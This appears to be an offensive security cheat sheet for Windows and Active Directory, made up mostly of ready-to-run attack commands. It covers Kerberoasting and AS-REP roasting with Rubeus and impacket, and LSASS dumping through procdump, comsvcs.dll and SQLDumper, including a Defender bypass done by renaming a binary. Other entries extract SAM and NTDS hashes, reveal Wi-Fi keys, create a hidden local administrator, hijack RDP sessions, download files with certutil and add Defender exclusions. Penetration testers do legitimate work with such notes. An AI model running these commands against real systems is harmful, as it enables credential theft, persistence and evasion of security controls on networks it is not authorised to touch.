Windows

Find accounts

List SPN accounts

An account can be used to executes features (Service) on a server. Theses features are calls SPNs and are represented as follow:

service-class/hostname-FQDN(:port)(/arbitrary-name)

More details are available on the Microsoft documentation

The following LDAP query lists the accounts with a SPN on the domain:

&(objectCategory=person)(objectClass=user)(servicePrincipalName=*)

With Powershell, the script is the following:

$users = (New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))")).FindAll()

Kerberoast

The Kerberoast attack consist on asking a TGS for a specific SPN then brute-force the hash to recover the account password. With the list of SPN account, the attacker is going to target accounts with privileges. The success of this attack depends on the company password policy.

Rubeus dumps the hash of a target SPN account:

Rubeus.exe kerberoast /creduser:"<fqdn_dom>\<user>" /credpassword:"<password>" /domain:"<fqdn_dom>" /outfile:"kerberoast.hash.txt"

You can also use the impacket script GetUserSPNs.py to get the hash in a format that John or Hashcat can brute-force:

python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -format <john/empty> -outputfile hashes.txt

KerberosUnConstrainedDelegation

More information here

$ Import-Module ActiveDirectory
$ Get-ADComputer -Filter {(TrustedForDelegation -eq $True) -AND (PrimaryGroupID -eq 515)} -Properties 'TrustedForDelegation,TrustedToAuthForDelegation,servicePrincipalName,Description'

# UserAccountControl & 0x80000 (TRUSTED_FOR_DELEGATION)
# UserAccountControl & 0x100000 (TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION)
$ $computers = (New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=Computer)(primaryGroupID=515)(useraccountcontrol:1.2.840.113556.1.4.804:=524288))")).FindAll().Properties
$ foreach($c in $computers) { echo "$($c.name) ($($c.useraccountcontrol))" }

The website LdapWiki explains how to write a LDAP query. For instance, if we want to use bitwise in ldap queries, we need to use some special arguments.

There are two Bitwise operation Extensible Match Rules.

1.2.840.113556.1.4.803 which is also referred to as LDAP_MATCHING_RULE_BIT_AND (Bitwise AND)
1.2.840.113556.1.4.804 which is also referred to as LDAP_MATCHING_RULE_BIT_OR (Bitwise OR)

Kerberos preauthentication

A domain user can have the property "Do net required Kerberos preauthentication". In this configuration, it's possible to ask to the KDC a TGT that is signed with the user password. So the clear password can be retrieve with a brute-force attack.

The goal is to list the users that have this settings enable:

  • Powerview : Get-DomainUser -PreauthNotRequired
  • LDAP: userAccountControl:1.2.840.113556.1.4.803:=4194304
$users = (New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(userAccountControl:1.2.840.113556.1.4.803:=4194304))")).FindAll()

Then you can use the impacket script GetNPUsers.py to get the TGT in a format that John or Hashcat can brute-force:

python GetNPUsers.py <domain>/ -usersfile users.txt -format <john/empty> -outputfile hashes.txt

From @harmj0y.

AdminCount, AdminSDHolder & SDProp

The Security Descriptor propagator (SDProp) process runs every 60 minutes and re-sets the ACL of the protected objects with the security permissions set on the AdminSDHolder (check with ADExplorer).

The objects protected by AdminSDHolderhave the attribute AdminCount set to 1:

$persons = (New-Object System.DirectoryServices.DirectorySearcher("(&(admincount=1)(objectCategory=person))")).FindAll()
$groups = (New-Object System.DirectoryServices.DirectorySearcher("(&(admincount=1)(objectCategory=group))")).FindAll()

It's possible to change the SDProp interval from 60 to 7200 seconds (one minute to two hours). You can also run the process manually.

Source: https://adsecurity.org/?p=1906

Truster Account

The PDF from SSTIC 2014 describes trusts accounts on Windows:

sAMAccountType: 805306370 = ( TRUST_ACCOUNT );

User by Supported Encryption Types

The attribut msDS-SupportedEncryptionTypes containes the supported encryption types for an object. It's possible the search for users that support RC4 encryption:

$users = (New-Object System.DirectoryServices.DirectorySearcher("(&(ObjectClass=User)(ObjectCategory=Person)(msDS-SupportedEncryptionTypes:1.2.840.113556.1.4.804:=4))")).FindAll()

The data is a 32-bits unsigned in little-endian format that contains a bitwise of the following flags:

Value Description
1 DES-CBC-CRC
2 DES-CBC-MD5
4 RC4-HMAC
8 AES128-CTS-HMAC-SHA1-96
16 AES256-CTS-HMAC-SHA1-96

Source: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/6cfc7b50-11ed-4b4d-846d-6f08f0812919

User enumeration

Here is two queries to fetch informations of a domain controller using LDAP:

ldapsearch -h <host> -x -s base namingcontexts
ldapsearch -h <host> -x -b "DC=xxx,DC=yyy" '(objectClass=Person)' sAMAccountName

RPCClient

If the NULL session is activated on the Windows domain, then you can list the users with rpcclient:

rpcclient -U '' <host>
rpcclient $> enumdomusers
rpcclient $> queryuser <user>

Find passwords

Decrypt GPO with cpassword

Some Group Policy Preferences (GPP) GPO stored at \<DOMAIN>\SYSVOL\<DOMAIN>\Policies\ contains an account credentials for administration on a remote host. The credentials are encrypted using a static AES key provided by Microsoft. A domain user can access the GPP XML files on read the encrypted password. To get the clear text credentials the Python script can be used.

This article on AdSecurity presents other tools and the protection (KB2962486).

Dump LSASS process

There is various methods to dump the lsass process memory:

To prevent an Administrator to dump lsass you can enable LSA Protection (RunAsPPL).

Procdump

procdump -accepteula -ma lsass.exe lsass.dmp

If you rename procdump.exe to dump64.exe and place it in the C:\Program Files (x86)\Microsoft Visual Studio\* folder, you can bypass Defender and dump LSASS.

Rundll32 & comsvcs.dll

You need to get the PID of lsass before dumping it.

tasklist /fi "imagename eq lsass.exe"
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> lsass.dmp full

SQLDumper

You need to get the PID of lsass before dumping it. The tool can be found in one of the following path:

C:\Program Files\Microsoft SQL Server\90\Shared\SQLDumper.exe
C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis\AS OLEDB\140\SQLDumper.exe
sqldumper.exe <PID> 0 0x01100:40

SAM and SYSTEM backup

You can dump the hives from a running Windows machine with the reg command:

reg save HKLM\SYSTEM SystemBkup.hiv
reg save HKLM\SAM SamBkup.hiv

On the hard-drive, the files are stored in C:\Windows\System32\config. Even nt authority\system cannot copy those files.

With mimikatz you can recover the hashes:

lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv

Calculate NTLM hash

import hashlib
pwd = "password"
print(hashlib.new('md4', pwd.encode('utf-16le')).hexdigest())

List Wifi networks and password

$ netsh wlan show profile
$ netsh wlan show profile <WiFi name> key=clear

Extract NTDS from a domain controller

On a DC, open a cmd shell:

ntdsutil
activate instance ntds
ifm
create full C:\ntds.dit
quit
quit

If you have a remote shell, you can also use the one-liner:

ntdsutil "ac i ntds" "ifm" "create full C:\ntds.dit" q q

On your machine, use impacket to recover the hashes:

python secretsdump.py -ntds <ntds.dit> -system <SYSTEM> LOCAL -outputfile <output> -pwd-last-set -user-status -history

Miscs

Use Win32 API in Python

Download then install the pip package pywin32 here: https://www.lfd.uci.edu/~gohlke/pythonlibs/#pywin32

Get NTP configuration server

$ w32tm /query /status

Windows 10 versions

Release Informations

Compile .Net without Visual Studio

cd \Windows\Microsoft.NET\Framework\v4*
msbuild "path\to\SharpUp-master\SharpUp.sln" /t:Rebuild /p:Configuration=Release /p:Platform="Any CPU"

Or to compile a single file:

cd \Windows\Microsoft.NET\Framework\v4*
csc.exe /t:exe /out:path\to\main.exe path\to\main.cs
using System;

public class HelloWorld {
    public static void Main() {
        Console.WriteLine("Hello world!");
    }
}

Basic Service in C#

using System.Diagnostics;
using System.ServiceProcess;

namespace MyService {
    public class Service:ServiceBase {
        protected override void OnStart(string[] args) {
            Process.Start(@"C:\Windows\System32\cmd.exe", @"/C ""<cmd>""");
        }
    }

    static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() } ); }}
}

Cmd Hijack

You can confuse the cmd.exe binary with a directory traversal:

cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe"

Using this, you can hijack an argument such as a IP address in the ping call to execute an other binary. Julian Horoszkiewicz explains the details on his blog

TCP dump with netsh

You can use netsh trace to dump TCP connexions on a Windows system. The following command start a service that dump the packets:

$ netsh trace start scenario=NetConnection capture=yes report=yes persistent=no maxsize=1024 correlation=yes traceFile=C:\Temp\NetTrace.etl

To start to service, you need to type:

$ netsh trace stop

When the service is stopped, it create an etl file (and a cab for the report) that contains the packets. To import it to Wireshark, you need to convert the file to a pcap file. The tool etl2pcapng can be used to convert the file. It's available on Github.

$ etl2pcapng.exe NetTrace.etl  NetTrace.pcapng
IF: medium=eth  ID=0    IfIndex=13
Converted 3948 frames

Add user to local admin

# create a local user. End the username with a `$` to create a hidden local account
net user <username> <password> /add
# add user to local admin group, if the user is from a domain then use <domain>\<username>
net localgroup Administrators <username> /add

Hijack Windows session

As a SYSTEM user, enumerate sessions with

query user

Then use the following command to hijack a user session:

cmd /k tscon 2 /dest:console

Extract Microsoft Update files

A Windows Update is a .msu archive that contains a .cab archive. This file contains the new binaries (.dll, .exe, ...). To extract the two archive you can use the expand command:

expand -f:* "update.msu" "%temp%\\update.msu"
expand -f:* "%temp%\\update.msu\\update.cab" "%temp%\\update.msu\\update.cab"

Download file with certutil

certutil is a useful tool to encode/decode and hash files. You can also download files with the following command:

certutil -urlcache -split -f "{URL}"

In your current directory there will be downloaded file. Be aware that there is cached files of the process in the two directories:

%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData

System information

Get system information

The command systeminfo lists the information about the system: Hostname, OS version, System type, Domain, Hotfixs, network cards, ...

Also, you can read the log files from %WINDIR%\inf to get basic info:

type %WINDIR%\inf\setupapi.setup.log

[Device Install Log]
     OS Version = 10.0.19041
     Service Pack = 0.0
     Suite = 0x0100
     ProductType = 1
     Architecture = amd64
...

Windows Defender

Check Defender exclusion path

The registry node HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths contains the exclusions paths. You can add your own to prevent scanning:

reg ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /t "C:\Path\To\Exclude" /d 0